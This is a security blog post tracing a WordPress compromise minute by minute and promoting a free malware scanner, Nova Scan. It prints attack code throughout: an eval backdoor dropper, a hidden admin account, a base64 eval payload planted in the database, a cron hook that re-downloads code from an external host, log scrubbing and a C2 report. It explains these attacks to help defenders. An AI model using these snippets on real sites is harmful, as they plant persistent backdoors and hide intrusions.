What Happens in the First 7 Minutes After Your WordPress Site Gets Hacked

Most site owners think getting hacked is a single event where someone breaks in, defaces your homepage, and you notice immediately. That is not how modern WordPress attacks work. Real attacks run on autopilot, and the point of running on autopilot is that you do not notice. By the time you finally do, the attacker has been living in your server for weeks.

I’ve cleaned hundreds of compromised WordPress sites over the years and the pattern is almost always the same.

What follows is a minute-by-minute breakdown of what actually happens in the first seven minutes after an attacker gets initial access.

Minute 0:00 – Initial Access

The attacker does not “hack” your site in any sense that looks like a movie. There is no password guessing and no dramatic terminal sequence. What actually happens is automated exploitation of a known vulnerability in a plugin you forgot to update. It might be a file upload bypass, a deserialized object injection, or a SQL injection in a contact form plugin that hasn’t been patched in six months.

The whole thing runs on autopilot. A bot scans thousands of sites per hour looking for specific plugin versions with known CVEs, your site matches one of them, and the exploit payload fires. A single PHP file lands on your server.

<?php
// Dropped via CVE-2024-XXXX plugin upload bypass
$f = @fopen(dirname(__FILE__).'/.access.log.php','w');
@fwrite($f, '<?php @eval($_POST["x"]); ?>');
@fclose($f);
@unlink(__FILE__);

This dropper writes a one-line backdoor to a file called .access.log.php, chosen because it looks like a harmless log file, and then deletes itself. By the time any scanner runs, the original exploit payload is already gone and the backdoor it left behind is only 39 bytes.

Minute 0:30 – Persistence Layer

The attacker’s bot connects to the backdoor and runs the first real payload. This is not malware in the usual sense, but infrastructure designed to survive the first cleanup attempt, so the attacker can get back in even if someone finds and deletes the backdoor.

<?php
// Step 1: Add a hidden admin account
$user_id = wp_insert_user([
    'user_login'   => 'wp_maintenance',
    'user_pass'    => wp_generate_password(24),
    'user_email'   => 'dev-null@' . $_SERVER['HTTP_HOST'],
    'role'         => 'administrator',
    'display_name' => 'WordPress Maintenance',
]);

// Step 2: Hide from user list count
update_user_meta($user_id, 'managewp_hidden', true);

A new admin account named “WordPress Maintenance” now exists on your site, and it doesn’t show up in the default user list because it has a meta flag that some listing queries filter out. Unless you specifically look for it, you won’t know it’s there.

Minute 1:00 – Database Injection

While the hidden admin account provides a login-based persistence path, the bot also plants a payload in the database, and this is the one most cleanup guides miss entirely.

INSERT INTO wp_options (option_name, option_value, autoload)
VALUES ('_transient_wp_core_check', 'eval(base64_decode("aWYoaXNzZXQ...))', 'yes');

It’s an option row that looks like a WordPress core update transient, and it autoloads on every page request. The value is a base64-encoded eval payload that phones home to a command and control server every six hours. Even if you reinstall WordPress core, the theme, and every plugin, this row survives because it lives in the database rather than the filesystem.

Minute 2:00 – Cron Callback

WordPress has a built-in task scheduler called WP-Cron, and the attacker registers a recurring event that re-downloads the backdoor if it ever gets deleted.

<?php
if (!wp_next_scheduled('wp_site_health_check_update')) {
    wp_schedule_event(time(), 'twicedaily', 'wp_site_health_check_update');
}
add_action('wp_site_health_check_update', function() {
    $payload = @file_get_contents('https://cdn-analytics' . '.com/pixel.js');
    if ($payload && strlen($payload) > 100) {
        @file_put_contents(ABSPATH . 'wp-includes/class-wp-locale.php', $payload, FILE_APPEND);
    }
});

The cron hook is named wp_site_health_check_update, indistinguishable from a legitimate WordPress health check. Twice a day it reaches out to an external server disguised as an analytics CDN and re-injects the payload into a core WordPress file. You can delete the malware and find it back in your files twelve hours later.

Minute 3:00 – File System Spread

Now the bot starts spreading, planting variations across your file system so that finding one backdoor doesn’t mean finding them all.

<?php
// Plant backdoors in directories scanners often skip
$targets = [
    WP_CONTENT_DIR . '/uploads/2023/04/.htaccess.bak.php',
    WP_CONTENT_DIR . '/cache/.object-cache.php',
    WP_CONTENT_DIR . '/upgrade/maintenance.php',
    ABSPATH . 'wp-admin/includes/class-wp-debug.php',
];

foreach ($targets as $path) {
    $dir = dirname($path);
    if (!is_dir($dir)) @mkdir($dir, 0755, true);
    @file_put_contents($path, $backdoor_variant);
}

Four new backdoors in four different directories, each using a different obfuscation technique. One uses create_function() assembled from character codes, another uses PHP’s assert() as an eval alternative, a third pipes input through preg_replace with the /e modifier, and the fourth uses variable function calls through $_GET parameters. Finding and removing one backdoor does not solve the problem. You need to find all four of them, along with the database payload, the cron callback, and the hidden admin account.

Minute 4:30 – Evidence Cleanup

The attacker knows WordPress debug logs, access logs, and error logs might record their activity, so the next step is to clean up the evidence.

<?php
// Suppress error logging for our operations
$old_level = error_reporting(0);
@ini_set('display_errors', 0);
@ini_set('log_errors', 0);

// Clear recent entries from debug.log
$log = WP_CONTENT_DIR . '/debug.log';
if (file_exists($log)) {
    $lines = file($log);
    $clean = array_filter($lines, function($l) {
        return strpos($l, '.access.log') === false
            && strpos($l, 'wp_maintenance') === false
            && strpos($l, 'cdn-analytics') === false;
    });
    file_put_contents($log, implode('', $clean));
}

error_reporting($old_level);

Any log entries that reference the backdoor filename, the hidden user account, or the C2 domain are surgically removed, and the rest of the log stays intact. If you check your debug.log tomorrow, everything looks normal.

Minute 5:30 – .htaccess Modification

To protect their backdoors from being accessed by anyone else, including other attackers looking for the same vulnerability, the bot modifies .htaccess to restrict access to the backdoor files to specific IP ranges.

# BEGIN WordPress Health Monitor
<Files ".access.log.php">
    Order deny,allow
    Deny from all
    Allow from 45.XX.XX.0/24
    Allow from 103.XX.XX.0/24
</Files>
# END WordPress Health Monitor

The comment says “WordPress Health Monitor”, which looks like another legitimate block in a file that most site owners never read. The backdoors now only respond to the attacker’s IP range, so if a security researcher discovers the file and tries to test it from their own IP they get a 403 Forbidden and the file looks dead.

Minute 7:00 – Phone Home

The final step is a success report back to the command and control infrastructure. Your site is now registered in the attacker’s botnet database as compromised and persistent.

POST /api/v2/report HTTP/1.1
Host: cdn-analytics.com

{
    "target": "yoursite.com",
    "cms": "wordpress",
    "version": "6.5.3",
    "access": ["file","db","cron","admin"],
    "backdoors": 4,
    "persistence": ["cron","db_option","admin_user"],
    "php": "8.1",
    "hosting": "shared",
    "plugins": 12,
    "last_update": "2024-01-15"
}

Your site is cataloged. The attacker knows your WordPress version, PHP version, hosting type, plugin count, and how long it’s been since you last updated. That data helps them decide what to do next, whether that’s crypto mining if you have CPU headroom, SEO spam injection if you have traffic, credit card skimming if you run WooCommerce, or reselling the access to someone else.

Seven minutes later the attack is complete. The site looks completely normal from the outside, and your security plugin is still showing green checkmarks across the board.

Why This Matters

Every step in this timeline exploits a gap that signature-based scanners cannot see. The dropper deletes itself before any scan can run. The persistence mechanisms are all built from legitimate WordPress functions, which are obviously not going to flag as suspicious on their own. The database payload is disguised as a core transient, the cron hook uses a name that mimics a real WordPress feature, and the backdoor files are named after log files, cache files, and debug utilities.

Signature matching asks whether a string matches a known bad string, but nothing in this attack chain triggers that question. Every component looks perfectly normal to a pattern matcher because the function calls are legitimate, the file names are plausible, and the database entries look routine.

This is why I built Nova Scan with a completely different detection approach.

Rather than asking what code looks like, it evaluates what code actually does. Four dedicated NDE engines analyze PHP behavior, JavaScript injection patterns, database anomalies, and WAF-level request signatures by understanding intent rather than matching strings.

The seven-minute timeline above would get caught at minute zero. Nova Scan’s behavioral engine flags the dropper’s eval() on external input before the backdoor file is even finished writing. The injected database option raises an anomaly on autoloaded rows containing encoded payloads, and the fake cron callback trips an alert because it fetches remote content and writes to core files. A hidden admin account shows up in the user audit the same hour it is created.

The real answer is a scanner that understands what your code is doing, rather than one matching it against a known-bad list.

Nova Scan is free. Install it before the first seven minutes start.


This is the fourth post in a series about WordPress security. Previously: why I built a free malware scanner, what WordPress malware actually looks like, and how I trained an AI to catch what signatures can’t.

~ SephX, Nova Heaven. I refuse to charge you for the privilege of knowing about the malware on your site.

© Nova Heaven. All rights reserved.